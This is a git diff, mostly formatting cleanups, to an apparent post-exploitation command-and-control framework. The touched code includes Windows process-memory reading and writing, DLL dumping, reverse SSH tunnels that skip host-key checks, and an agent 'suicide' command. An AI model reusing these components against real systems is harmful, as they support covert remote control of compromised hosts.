@@ -3,7 +3,6 @@ package cc - import ( "context" "errors" @@ -26,7 +25,6 @@ var SSHShellPort = make(map[string]string) // shell: the executable to run, eg. bash, python // port: serve this shell on agent side 127.0.0.1:port func SSHClient(shell, args, port string, split bool) (err error) { - // check if sftp is requested is_sftp := shell == "sftp" ssh_prog := "ssh" diff --git a/core/lib/cc/suicide.go b/core/lib/cc/suicide.go index 898eb9554..49b8b8862 100644 --- a/core/lib/cc/suicide.go +++ b/core/lib/cc/suicide.go @@ -3,7 +3,6 @@ package cc - func Suicide() { SendCmdToCurrentTarget("suicide", "") } diff --git a/core/lib/cc/tmux.go b/core/lib/cc/tmux.go index 495e7cd1a..452ba4c94 100644 --- a/core/lib/cc/tmux.go +++ b/core/lib/cc/tmux.go @@ -3,7 +3,6 @@ package cc - import ( "errors" "fmt" @@ -115,8 +114,8 @@ func TmuxInitWindows() (err error) { place_holder, direction, from_pane string, - size_percentage int) (pane *Emp3r0rPane, err error) { - + size_percentage int, + ) (pane *Emp3r0rPane, err error) { // system info of selected agent pane, err = TmuxNewPane(title, direction, from_pane, size_percentage, cat) if err != nil { @@ -265,7 +264,7 @@ func (pane *Emp3r0rPane) Printf(clear bool, format string, a ...interface{}) { } // print msg - err := os.WriteFile(pane.TTY, []byte(msg), 0777) + err := os.WriteFile(pane.TTY, []byte(msg), 0o777) if err != nil { CliPrintWarning("Cannot print on tmux window %s (%s): %v,\n"+ "printing to main window instead.\n\n", @@ -306,8 +305,8 @@ func (pane *Emp3r0rPane) PaneDetails() ( pid int, cmd string, width int, - height int) { - + height int, +) { if pane.ID == "" { return } diff --git a/core/lib/cc/util.go b/core/lib/cc/util.go index 161d0e81e..20ad78ec1 100644 --- a/core/lib/cc/util.go +++ b/core/lib/cc/util.go @@ -3,7 +3,6 @@ package cc - import ( "errors" "fmt" diff --git a/core/lib/ss/tcp.go b/core/lib/ss/tcp.go index 584b567ab..6b1a3cd49 100644 --- a/core/lib/ss/tcp.go +++ b/core/lib/ss/tcp.go @@ -15,7 +15,8 @@ import ( // Create a SOCKS server listening on addr and proxy to server. func socksLocal(addr, server string, shadow func(net.Conn) net.Conn, - ctx context.Context, cancel context.CancelFunc) { + ctx context.Context, cancel context.CancelFunc, +) { logf("Shadowsocks local SOCKS proxy %s <-> %s", addr, server) tcpLocal(addr, server, shadow, func(c net.Conn) (socks.Addr, error) { return socks.Handshake(c) }, @@ -25,7 +26,8 @@ func socksLocal(addr, server string, shadow func(net.Conn) net.Conn, // Listen on addr and proxy to server to reach target from getAddr. func tcpLocal(addr, server string, shadow func(net.Conn) net.Conn, getAddr func(net.Conn) (socks.Addr, error), - ctx context.Context, cancel context.CancelFunc) { + ctx context.Context, cancel context.CancelFunc, +) { l, err := net.Listen("tcp", addr) if err != nil { logf("failed to listen on %s: %v", addr, err) @@ -89,7 +91,8 @@ func tcpLocal(addr, server string, // Listen on addr for incoming connections. func tcpRemote(addr string, shadow func(net.Conn) net.Conn, - ctx context.Context, cancel context.CancelFunc) { + ctx context.Context, cancel context.CancelFunc, +) { l, err := net.Listen("tcp", addr) if err != nil { logf("failed to listen on %s: %v", addr, err) @@ -143,7 +146,7 @@ func tcpRemote(addr string, shadow func(net.Conn) net.Conn, func relay(left, right net.Conn) error { var err, err1 error var wg sync.WaitGroup - var wait = 5 * time.Second + wait := 5 * time.Second wg.Add(1) go func() { defer wg.Done() diff --git a/core/lib/tun/certs.go b/core/lib/tun/certs.go index 4fc1497e2..68c1d93f1 100644 --- a/core/lib/tun/certs.go +++ b/core/lib/tun/certs.go @@ -28,10 +28,8 @@ const ( CA_KEY_FILE = "ca-key.pem" ) -var ( - // PEM encoded server public key - ServerPubKey string -) +// PEM encoded server public key +var ServerPubKey string func publicKey(priv interface{}) interface{} { switch k := priv.(type) { @@ -67,7 +65,8 @@ func pemBlockForKey(priv interface{}) *pem.Block { func GenCerts( hosts []string, outname string, - isCA bool) ([]byte, error) { + isCA bool, +) ([]byte, error) { priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) if err != nil { return nil, fmt.Errorf("GenerateKey: %v", err) @@ -141,7 +140,7 @@ func GenCerts( outkey := fmt.Sprintf("%s-key.pem", outname) // cert pem.Encode(out, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}) - err = os.WriteFile(outcert, out.Bytes(), 0600) + err = os.WriteFile(outcert, out.Bytes(), 0o600) if err != nil { return nil, fmt.Errorf("write %s: %v", outcert, err) } @@ -149,7 +148,7 @@ func GenCerts( // key pem.Encode(out, pemBlockForKey(priv)) - err = os.WriteFile(outkey, out.Bytes(), 0600) + err = os.WriteFile(outkey, out.Bytes(), 0o600) if err != nil { return nil, fmt.Errorf("write %s: %v", outkey, err) } diff --git a/core/lib/tun/proxy.go b/core/lib/tun/proxy.go index da9981145..ac8b02f29 100644 --- a/core/lib/tun/proxy.go +++ b/core/lib/tun/proxy.go @@ -91,8 +91,8 @@ func TCPFwd(addr, port string, ctx context.Context, cancel context.CancelFunc) ( // FwdToDport forward request to agent-side destination, h2 <-> tcp/udp func FwdToDport(ctx context.Context, cancel context.CancelFunc, - to, sessionID, protocol string, h2 *h2conn.Conn, timeout int) { - + to, sessionID, protocol string, h2 *h2conn.Conn, timeout int, +) { var err error // connect to target port diff --git a/core/lib/tun/sshproxy.go b/core/lib/tun/sshproxy.go index d3418510f..0e20f2a67 100644 --- a/core/lib/tun/sshproxy.go +++ b/core/lib/tun/sshproxy.go @@ -62,7 +62,8 @@ func SSHRemoteFwdServer(port, password string, hostkey []byte) (err error) { func SSHReverseProxyClient(ssh_serverAddr, password string, reverseConns *map[string]context.CancelFunc, socks5proxy *socks5.Server, - ctx context.Context, cancel context.CancelFunc) (err error) { + ctx context.Context, cancel context.CancelFunc, +) (err error) { // calculate ProxyPort serverPort, err := strconv.Atoi(strings.Split(ssh_serverAddr, ":")[1]) // this is the reverseProxyPort @@ -91,7 +92,8 @@ func SSHRemoteFwdClient(ssh_serverAddr, password string, hostkey ssh.PublicKey, // ssh server public key local_port int, // local port to forward to remote conns *map[string]context.CancelFunc, // record this connection - ctx context.Context, cancel context.CancelFunc) (err error) { + ctx context.Context, cancel context.CancelFunc, +) (err error) { hostkey_callback := ssh.InsecureIgnoreHostKey() if hostkey != nil { hostkey_callback = ssh.FixedHostKey(hostkey) diff --git a/core/lib/tun/tls.go b/core/lib/tun/tls.go index 6d0e2ff33..052cbaf3f 100644 --- a/core/lib/tun/tls.go +++ b/core/lib/tun/tls.go @@ -10,13 +10,10 @@ import ( utls "github.com/refraction-networking/utls" ) -var ( - - // CACrt for TLS server cert signing - CACrt = []byte(` +// CACrt for TLS server cert signing +var CACrt = []byte(` [emp3r0r_ca] `) -) // EmpHTTPClient add our CA to trusted CAs, while keeps TLS InsecureVerify on func EmpHTTPClient(c2_addr, proxyServer string) *http.Client { diff --git a/core/lib/util/dll_windows.go b/core/lib/util/dll_windows.go index ae352620c..891169aab 100644 --- a/core/lib/util/dll_windows.go +++ b/core/lib/util/dll_windows.go @@ -1,78 +1,78 @@ -//go:build windows -// +build windows - -package util - -import ( - "fmt" - "log" - "unsafe" - - "golang.org/x/sys/windows" -) - -func IsRunningInDLL() bool { - modHandle, _, _ := procGetModuleHandle.Call(0) - return modHandle != 0 -} - -func ReadDLL(moduleInfo *windows.ModuleInfo, fileName string) (dll_data []byte, err error) { - // Allocate a buffer to hold the DLL content - dllContent := make([]byte, moduleInfo.SizeOfImage) - - // Read the content of the DLL from memory - var bytes_read uintptr - err = windows.ReadProcessMemory(windows.CurrentProcess(), moduleInfo.BaseOfDll, &dllContent[0], - uintptr(moduleInfo.SizeOfImage), &bytes_read) - if err != nil { - err = fmt.Errorf("failed to get module info of %s: %v", fileName, err) - return - } - dll_data = dllContent - return -} - -// Enum all DLLs and get their handles -func GetAllDLLs() (modules map[string]*windows.ModuleInfo, err error) { - modules = make(map[string]*windows.ModuleInfo, 0) - - // Open a handle to the current process - processHandle := windows.CurrentProcess() - - // Enumerate the modules (DLLs) loaded in the current process - var moduleHandles = make([]windows.Handle, 1024) - var neededBytes uint32 - err = windows.EnumProcessModules(processHandle, &moduleHandles[0], 1024, &neededBytes) - if err != nil { - err = fmt.Errorf("enum modules: %v", err) - return - } - - // Calculate the number of modules - numModules := int(neededBytes / uint32(unsafe.Sizeof(moduleHandles[0]))) - - // Print the file names of the loaded DLLs - for i := 0; i < numModules; i++ { - // Get the file name of the DLL - var fname16 = make([]uint16, windows.MAX_PATH) - _, err = windows.GetModuleFileName(moduleHandles[i], &fname16[0], windows.MAX_PATH) - if err != nil { - log.Printf("get module file name: %v", err) - continue - } - // Convert the UTF-16 encoded file name to a Go string - fileName := windows.UTF16ToString(fname16) - - // get module info - modinfo := new(windows.ModuleInfo) - cb := uint32(unsafe.Sizeof(*modinfo)) - err = windows.GetModuleInformation(processHandle, moduleHandles[i], modinfo, cb) - if err != nil { - log.Printf("get modinfo of %s: %v", fileName, err) - continue - } - modules[fileName] = modinfo - } - - return -} +//go:build windows +// +build windows + +package util + +import ( + "fmt" + "log" + "unsafe" + + "golang.org/x/sys/windows" +) + +func IsRunningInDLL() bool { + modHandle, _, _ := procGetModuleHandle.Call(0) + return modHandle != 0 +} + +func ReadDLL(moduleInfo *windows.ModuleInfo, fileName string) (dll_data []byte, err error) { + // Allocate a buffer to hold the DLL content + dllContent := make([]byte, moduleInfo.SizeOfImage) + + // Read the content of the DLL from memory + var bytes_read uintptr + err = windows.ReadProcessMemory(windows.CurrentProcess(), moduleInfo.BaseOfDll, &dllContent[0], + uintptr(moduleInfo.SizeOfImage), &bytes_read) + if err != nil { + err = fmt.Errorf("failed to get module info of %s: %v", fileName, err) + return + } + dll_data = dllContent + return +} + +// Enum all DLLs and get their handles +func GetAllDLLs() (modules map[string]*windows.ModuleInfo, err error) { + modules = make(map[string]*windows.ModuleInfo, 0) + + // Open a handle to the current process + processHandle := windows.CurrentProcess() + + // Enumerate the modules (DLLs) loaded in the current process + moduleHandles := make([]windows.Handle, 1024) + var neededBytes uint32 + err = windows.EnumProcessModules(processHandle, &moduleHandles[0], 1024, &neededBytes) + if err != nil { + err = fmt.Errorf("enum modules: %v", err) + return + } + + // Calculate the number of modules + numModules := int(neededBytes / uint32(unsafe.Sizeof(moduleHandles[0]))) + + // Print the file names of the loaded DLLs + for i := 0; i < numModules; i++ { + // Get the file name of the DLL + fname16 := make([]uint16, windows.MAX_PATH) + _, err = windows.GetModuleFileName(moduleHandles[i], &fname16[0], windows.MAX_PATH) + if err != nil { + log.Printf("get module file name: %v", err) + continue + } + // Convert the UTF-16 encoded file name to a Go string + fileName := windows.UTF16ToString(fname16) + + // get module info + modinfo := new(windows.ModuleInfo) + cb := uint32(unsafe.Sizeof(*modinfo)) + err = windows.GetModuleInformation(processHandle, moduleHandles[i], modinfo, cb) + if err != nil { + log.Printf("get modinfo of %s: %v", fileName, err) + continue + } + modules[fileName] = modinfo + } + + return +} diff --git a/core/lib/util/file.go b/core/lib/util/file.go index e644d01bf..9d4d119d9 100644 --- a/core/lib/util/file.go +++ b/core/lib/util/file.go @@ -143,7 +143,7 @@ func IntArrayToStringArray(arr []int) []string { // AppendToFile append bytes to a file func AppendToFile(filename string, data []byte) (err error) { - f, err := os.OpenFile(filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) + f, err := os.OpenFile(filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o600) if err != nil { return } @@ -157,7 +157,7 @@ func AppendToFile(filename string, data []byte) (err error) { // AppendTextToFile append text to a file func AppendTextToFile(filename string, text string) (err error) { - f, err := os.OpenFile(filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) + f, err := os.OpenFile(filename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o600) if err != nil { return } @@ -211,7 +211,7 @@ func Copy(src, dst string) error { } } - return os.WriteFile(dst, in, 0755) + return os.WriteFile(dst, in, 0o755) } // FileBaseName /path/to/foo -> foo @@ -303,7 +303,7 @@ func ReplaceBytesInFile(path string, old []byte, replace_with []byte) (err error } to_write := bytes.ReplaceAll(file_bytes, old, replace_with) - return os.WriteFile(path, to_write, 0644) + return os.WriteFile(path, to_write, 0o644) } // FindHolesInBinary find holes in a binary file that are big enough for a payload diff --git a/core/lib/util/mem_windows.go b/core/lib/util/mem_windows.go index 7cb64202c..80cb8a75f 100644 --- a/core/lib/util/mem_windows.go +++ b/core/lib/util/mem_windows.go @@ -1,140 +1,140 @@ -//go:build windows -// +build windows - -package util - -import ( - "log" - "syscall" - "unsafe" -) - -var ( - kernel32 = syscall.NewLazyDLL("kernel32.dll") - psapi = syscall.NewLazyDLL("Psapi.dll") - - procOpenProcess = kernel32.NewProc("OpenProcess") - procReadProcessMemory = kernel32.NewProc("ReadProcessMemory") - procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory") - procVirtualQuery = kernel32.NewProc("VirtualQuery") - procGetModuleFileName = kernel32.NewProc("GetModuleFileNameW") - procGetModuleHandle = kernel32.NewProc("GetModuleHandleW") - procEnumProcessModules = psapi.NewProc("EnumProcessModulesEx") -) - -const PROCESS_ALL_ACCESS = 0x1F0FFF - -func OpenProcess(pid int) uintptr { - handle, _, _ := procOpenProcess.Call(uintptr(PROCESS_ALL_ACCESS), uintptr(1), uintptr(pid)) - return handle -} - -func read_mem(hProcess uintptr, address, size uintptr) []byte { - var data = make([]byte, size) - var length uint32 - - procReadProcessMemory.Call(hProcess, address, - uintptr(unsafe.Pointer(&data[0])), - size, uintptr(unsafe.Pointer(&length))) - - return data -} - -const ( - MEM_COMMIT = 0x1000 - MEM_RESERVE = 0x2000 - MEM_FREE = 0x10000 -) - -type MEMORY_BASIC_INFORMATION struct { - BaseAddress uintptr - AllocationBase uintptr - AllocationProtect uint32 - RegionSize uintptr - State uint32 - Protect uint32 - Type uint32 -} - -func read_self_mem(hProcess uintptr) (mem_data [][]byte, bytes_read int, err error) { - // Start with an initial address of 0 - address := uintptr(0) - - // Loop through the memory regions and print information - for { - var mbi MEMORY_BASIC_INFORMATION - ret, _, _ := procVirtualQuery.Call(address, uintptr(unsafe.Pointer(&mbi)), unsafe.Sizeof(mbi)) - - // Check for the end of the memory regions - if ret == 0 { - break - } - - // Move to the next memory region - address += mbi.RegionSize - - // Print information about the memory region - // log.Printf("BaseAddress: 0x%x, RegionSize: 0x%x, State: %d, Protect: %d, Type: %d\n", - // mbi.BaseAddress, mbi.RegionSize, mbi.State, mbi.Protect, mbi.Type) - - // if memory is not committed or is read-only, skip it - readable := mbi.State == MEM_COMMIT && mbi.Protect&syscall.PAGE_READONLY != 0 - if !readable { - continue - } - - // read data from this region - data_read := read_mem(hProcess, mbi.BaseAddress, mbi.RegionSize) - bytes_read += len(data_read) - mem_data = append(mem_data, data_read) - } - - return -} - -func write_mem(hProcess uintptr, lpBaseAddress, lpBuffer, nSize uintptr) (int, bool) { - var nBytesWritten int - ret, _, _ := procWriteProcessMemory.Call( - uintptr(hProcess), - lpBaseAddress, - lpBuffer, - nSize, - uintptr(unsafe.Pointer(&nBytesWritten)), - ) - - return nBytesWritten, ret != 0 -} - -func getBaseAddress(handle uintptr) uintptr { - modules := [1024]uint64{} - var needed uintptr - procEnumProcessModules.Call( - handle, - uintptr(unsafe.Pointer(&modules)), - uintptr(1024), - uintptr(unsafe.Pointer(&needed)), - uintptr(0x03), - ) - for i := uintptr(0); i < needed/unsafe.Sizeof(modules[0]); i++ { - if i == 0 { - return uintptr(modules[i]) - } - } - return 0 -} - -func crossPlatformDumpSelfMem() (mem_data [][]byte, err error) { - dlls, err := GetAllDLLs() - if err != nil { - return - } - for fileName, dll := range dlls { - dll_data, err := ReadDLL(dll, fileName) - if err != nil { - log.Printf("reading DLL %s: %v", fileName, err) - continue - } - mem_data = append(mem_data, dll_data) - } - return mem_data, err -} +//go:build windows +// +build windows + +package util + +import ( + "log" + "syscall" + "unsafe" +) + +var ( + kernel32 = syscall.NewLazyDLL("kernel32.dll") + psapi = syscall.NewLazyDLL("Psapi.dll") + + procOpenProcess = kernel32.NewProc("OpenProcess") + procReadProcessMemory = kernel32.NewProc("ReadProcessMemory") + procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory") + procVirtualQuery = kernel32.NewProc("VirtualQuery") + procGetModuleFileName = kernel32.NewProc("GetModuleFileNameW") + procGetModuleHandle = kernel32.NewProc("GetModuleHandleW") + procEnumProcessModules = psapi.NewProc("EnumProcessModulesEx") +) + +const PROCESS_ALL_ACCESS = 0x1F0FFF + +func OpenProcess(pid int) uintptr { + handle, _, _ := procOpenProcess.Call(uintptr(PROCESS_ALL_ACCESS), uintptr(1), uintptr(pid)) + return handle +} + +func read_mem(hProcess uintptr, address, size uintptr) []byte { + data := make([]byte, size) + var length uint32 + + procReadProcessMemory.Call(hProcess, address, + uintptr(unsafe.Pointer(&data[0])), + size, uintptr(unsafe.Pointer(&length))) + + return data +} + +const ( + MEM_COMMIT = 0x1000 + MEM_RESERVE = 0x2000 + MEM_FREE = 0x10000 +) + +type MEMORY_BASIC_INFORMATION struct { + BaseAddress uintptr + AllocationBase uintptr + AllocationProtect uint32 + RegionSize uintptr + State uint32 + Protect uint32 + Type uint32 +} + +func read_self_mem(hProcess uintptr) (mem_data [][]byte, bytes_read int, err error) { + // Start with an initial address of 0 + address := uintptr(0) + + // Loop through the memory regions and print information + for { + var mbi MEMORY_BASIC_INFORMATION + ret, _, _ := procVirtualQuery.Call(address, uintptr(unsafe.Pointer(&mbi)), unsafe.Sizeof(mbi)) + + // Check for the end of the memory regions + if ret == 0 { + break + } + + // Move to the next memory region + address += mbi.RegionSize + + // Print information about the memory region + // log.Printf("BaseAddress: 0x%x, RegionSize: 0x%x, State: %d, Protect: %d, Type: %d\n", + // mbi.BaseAddress, mbi.RegionSize, mbi.State, mbi.Protect, mbi.Type) + + // if memory is not committed or is read-only, skip it + readable := mbi.State == MEM_COMMIT && mbi.Protect&syscall.PAGE_READONLY != 0 + if !readable { + continue + } + + // read data from this region + data_read := read_mem(hProcess, mbi.BaseAddress, mbi.RegionSize) + bytes_read += len(data_read) + mem_data = append(mem_data, data_read) + } + + return +} + +func write_mem(hProcess uintptr, lpBaseAddress, lpBuffer, nSize uintptr) (int, bool) { + var nBytesWritten int + ret, _, _ := procWriteProcessMemory.Call( + uintptr(hProcess), + lpBaseAddress, + lpBuffer, + nSize, + uintptr(unsafe.Pointer(&nBytesWritten)), + ) + + return nBytesWritten, ret != 0 +} + +func getBaseAddress(handle uintptr) uintptr { + modules := [1024]uint64{} + var needed uintptr + procEnumProcessModules.Call( + handle, + uintptr(unsafe.Pointer(&modules)), + uintptr(1024), + uintptr(unsafe.Pointer(&needed)), + uintptr(0x03), + ) + for i := uintptr(0); i < needed/unsafe.Sizeof(modules[0]); i++ { + if i == 0 { + return uintptr(modules[i]) + } + } + return 0 +} + +func crossPlatformDumpSelfMem() (mem_data [][]byte, err error) { + dlls, err := GetAllDLLs() + if err != nil { + return + } + for fileName, dll := range dlls { + dll_data, err := ReadDLL(dll, fileName) + if err != nil { + log.Printf("reading DLL %s: %v", fileName, err) + continue + } + mem_data = append(mem_data, dll_data) + } + return mem_data, err +} diff --git a/core/lib/util/proc.go b/core/lib/util/proc.go index 2b16c6f1b..2eaa39429 100644 --- a/core/lib/util/proc.go +++ b/core/lib/util/proc.go @@ -110,7 +110,6 @@ func ProcCmdline(pid int) string { return "dead_process" } cmdline, err := proc.Cmdline() - if err != nil { return fmt.Sprintf("err_%v", err) } diff --git a/core/lib/util/str.go b/core/lib/util/str.go index 213cb00a3..192fa3832 100644 --- a/core/lib/util/str.go +++ b/core/lib/util/str.go @@ -111,7 +111,7 @@ func RandInt(min, max int) int { // RandStr random string func RandStr(n int) string { - var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") + letters := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") rand.Seed(int64(RandInt(0xff, math.MaxInt))) b := make([]rune, n) for i := range b { @@ -147,7 +147,7 @@ func HexEncode(s string) (result string) { } func LogFilePrintf(filepath, format string, v ...any) { - logf, err := os.OpenFile(filepath, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0600) + logf, err := os.OpenFile(filepath, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0o600) defer logf.Close() if err != nil { log.Printf("LogFilePrintf: %v", err)